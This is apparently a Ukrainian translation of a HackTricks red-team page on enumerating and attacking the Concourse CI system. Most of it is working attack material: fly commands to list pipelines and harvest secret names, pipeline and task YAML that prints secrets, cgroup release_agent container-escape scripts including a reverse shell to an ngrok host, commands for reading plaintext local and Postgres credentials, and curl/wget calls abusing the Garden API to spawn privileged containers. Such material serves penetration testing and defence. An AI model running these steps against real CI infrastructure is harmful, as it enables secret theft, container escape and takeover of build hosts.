Concourse Enumeration & Attacks

Перелік та Атаки Concourse

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Ролі та Дозволи Користувачів

Concourse має п'ять ролей:

  • Concourse Адміністратор: Ця роль надається тільки власникам головної команди (типова початкова команда Concourse). Адміністратори можуть налаштовувати інші команди (наприклад: fly set-team, fly destroy-team...). Дозволи цієї ролі не можуть бути змінені за допомогою RBAC.

  • власник: Власники команд можуть змінювати все в межах команди.

  • учасник: Учасники команд можуть читати та записувати в активи команди, але не можуть змінювати налаштування команди.

  • оператор конвеєра: Оператори конвеєра можуть виконувати операції конвеєра, такі як запуск будівель та закріплення ресурсів, проте вони не можуть оновлювати конфігурації конвеєра.

  • спостерігач: Учасники команд мають "тільки для читання" доступ до команди та її конвеєрів.

Крім того, дозволи ролей власника, учасника, оператора конвеєра та спостерігача можуть бути змінені шляхом налаштування RBAC (більш конкретно налаштовуючи його дії). Докладніше про це читайте за посиланням: https://concourse-ci.org/user-roles.html

Зверніть увагу, що Concourse групує конвеєри в межах Команд. Тому користувачі, які належать до Команди, зможуть керувати цими конвеєрами та можуть існувати кілька Команд. Користувач може належати до кількох Команд та мати різні дозволи в кожній з них.

Змінні та Менеджер Облікових Даних

У конфігураціях YAML ви можете налаштовувати значення за допомогою синтаксису ((_source-name_:_secret-path_._secret-field_)). З документації: source-name є необов'язковим, і якщо його пропущено, буде використовуватися кластерний менеджер облікових даних, або значення може бути надано статично. Необов'язкове _secret-field_ вказує поле в отриманому секреті для читання. Якщо його пропущено, менеджер облікових даних може вибрати читати 'типове поле' з отриманого облікового запису, якщо поле існує. Крім того, secret-path та secret-field можуть бути оточені подвійними лапками "...", якщо вони містять спеціальні символи як, наприклад, . та :. Наприклад, ((source:"my.secret"."field:1")) встановить secret-path на my.secret та secret-field на field:1.

Статичні Змінні

Статичні змінні можна вказати в кроках завдань:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Або використовуючи наступні fly аргументи:

  • -v або --var NAME=VALUE встановлює рядок VALUE як значення для змінної NAME.

  • -y або --yaml-var NAME=VALUE розбирає VALUE як YAML та встановлює його як значення для змінної NAME.

  • -i або --instance-var NAME=VALUE розбирає VALUE як YAML та встановлює його як значення для змінної екземпляра NAME. Див. Групування конвеєрів, щоб дізнатися більше про змінні екземпляра.

  • -l або --load-vars-from FILE завантажує FILE, YAML-документ, що містить відображення назв змінних на значення, та встановлює їх всі.

Управління обліковими даними

Існують різні способи вказання Менеджера облікових даних в конвеєрі, дивіться як у https://concourse-ci.org/creds.html. Крім того, Concourse підтримує різні менеджери облікових даних:

Зверніть увагу, що якщо у вас є якийсь вид доступу на запис до Concourse, ви можете створити завдання для ексфільтрації цих секретів, оскільки Concourse повинен мати до них доступ.

Перелік Concourse

Для переліку середовища Concourse спочатку потрібно зібрати дійсні облікові дані або знайти аутентифікований токен, ймовірно, у файлі конфігурації .flyrc.

Вхід та перелік поточного користувача

  • Для входу вам потрібно знати кінцеву точку, назву команди (за замовчуванням main) та команду, до якої належить користувач:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Отримати налаштовані цілі:

  • fly targets

  • Перевірити, чи підключення до налаштованої цілі є дійсним:

  • fly -t <ціль> status

  • Отримати роль користувача щодо вказаної цілі:

  • fly -t <ціль> userinfo

Зверніть увагу, що токен API за замовчуванням зберігається в $HOME/.flyrc, якщо ви здійснюєте обшук машин, ви можете знайти там облікові дані.

Команди та користувачі

  • Отримати список команд

  • fly -t <ціль> teams

  • Отримати ролі всередині команди

  • fly -t <ціль> get-team -n <назва-команди>

  • Отримати список користувачів

  • fly -t <ціль> active-users

Конвеєри

  • Перелік конвеєрів:

  • fly -t <ціль> pipelines -a

  • Отримати yaml конвеєра (чутлива інформація може бути знайдена в означенні):

  • fly -t <ціль> get-pipeline -p <назва-конвеєра>

  • Отримати всі оголошені змінні конвеєра

  • for pipename in $(fly -t <ціль> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <ціль> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Отримати всі назви секретів конвеєра, які використовуються (якщо ви можете створити/змінити завдання або захопити контейнер, ви можете їх ексфільтрувати):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Контейнери та Робочі

  • Список робочих:

  • fly -t <ціль> workers

  • Список контейнерів:

  • fly -t <ціль> containers

  • Список збірок (щоб побачити, що запущено):

  • fly -t <ціль> builds

Атаки на Concourse

Брутфорс Креденціалів

  • admin:admin

  • test:test

Перелік секретів та параметрів

У попередньому розділі ми побачили, як ви можете отримати всі назви секретів та змінних, які використовуються в конвеєрі. Змінні можуть містити чутливу інформацію, а назва секретів буде корисною пізніше для спроби їх вкрасти.

Сесія всередині запущеного або недавно запущеного контейнера

Якщо у вас достатньо привілеїв (роль учасника або вище), ви зможете перелічити конвеєри та ролі та просто отримати сесію всередині контейнера <конвеєр>/<завдання> використовуючи:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

З цими дозволами ви можете:

  • Вкрасти секрети всередині контейнера

  • Спробувати вибратися на вузол

  • Перелічити/зловживати кінцеву точку метаданих хмари (з контейнера та з вузла, якщо це можливо)

Створення/зміна конвеєра

Якщо у вас достатньо привілеїв (роль учасника або вище), ви зможете створювати/змінювати нові конвеєри. Перевірте цей приклад:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Після модифікації/створення нового конвеєра ви зможете:

  • Вкрасти секрети (через їх виведення або отримання всередині контейнера та запуску env)

  • Вийти на вузол (надавши достатньо привілеїв - privileged: true)

  • Перелічити/зловживати кінцеву точку метаданих хмари (з підпростору та з вузла)

  • Видалити створений конвеєр

Виконання власного завдання

Це схоже на попередній метод, але замість модифікації/створення цілком нового конвеєра ви можете просто виконати власне завдання (що, ймовірно, буде набагато прихованіше):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Втеча на вузол з привілейованого завдання

У попередніх розділах ми бачили, як виконати привілейоване завдання з Concourse. Це не надасть контейнеру точно такий самий доступ, як прапорець привілеїв в контейнері Docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною".

У наступному PoC ми збираємося використати release_agent для втечі з деякими невеликими модифікаціями:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Як ви могли помітити, це просто звичайний втеча агента випуску, просто змінюючи шлях cmd вузла

Втеча на вузол з контейнера робочого процесу

Для цього достатньо звичайної втечі агента випуску з незначними змінами:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Втеча на вузол з контейнера веб-сервера

Навіть якщо контейнер веб-сервера має вимкнені деякі захисти, він не працює як звичайний привілейований контейнер (наприклад, ви не можете монтувати і можливості дуже обмежені, тому всі прості способи втечі з контейнера є некорисними).

Проте, він зберігає локальні облікові дані у відкритому вигляді:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Ви можете використати ці дані для входу на веб-сервер та створення привілейованого контейнера та виходу на вузол.

У середовищі ви також можете знайти інформацію для доступу до інстанції postgresql, яку використовує concourse (адреса, ім'я користувача, пароль та база даних серед іншої інформації):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Зловживання Garden Service - Не справжня атака

Це лише цікаві примітки про сервіс, але через те, що він прослуховує лише локальний хост, ці примітки не матимуть жодного впливу, який ми вже не використовували раніше.

За замовчуванням кожний робочий процес Concourse буде запускати службу Garden на порту 7777. Ця служба використовується веб-мастером для вказівки робочому процесу що потрібно виконати (завантажити зображення та виконати кожне завдання). Це звучить досить добре для атакування, але є деякі хороші захисти:

  • Він просто відкритий локально (127..0.0.1) і я думаю, що коли робочий процес аутентифікується знову у веб-сервері з допомогою спеціальної служби SSH, створюється тунель, щоб веб-сервер міг спілкуватися з кожною службою Garden всередині кожного робочого процесу.

  • Веб-сервер моніторить робочі контейнери кожні кілька секунд, і несподівані контейнери видаляються. Тому, якщо ви хочете запустити власний контейнер, вам потрібно втручатися у комунікацію між веб-сервером та службою Garden.

Робочі процеси Concourse працюють з високими привілеями контейнера:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Проте, техніки, такі як монтування пристрою /dev вузла або release_agent не працюватимуть (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому вибратися з вузла без використання вразливостей ядра стає складним.

У попередньому розділі ми побачили, як вибратися з привілейованого контейнера, тому якщо ми можемо виконати команди в привілейованому контейнері, створеному поточним робітником, ми можемо вибратися на вузол.

Зверніть увагу, що під час експериментів з Concourse я помітив, що коли створюється новий контейнер для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це схоже на те, що контейнер створює новий контейнер всередині себе.

Вхід в робочий привілейований контейнер

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Створення нового привілейованого контейнера

Ви можете дуже легко створити новий контейнер (просто запустіть випадковий UID) та виконати щось на ньому:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Проте веб-сервер перевіряє кожні кілька секунд контейнери, які працюють, і якщо виявиться неочікуваний, він буде видалений. Оскільки спілкування відбувається через HTTP, ви можете втрутитися у комунікацію, щоб уникнути видалення неочікуваних контейнерів:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Посилання

  • https://concourse-ci.org/vars.html

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated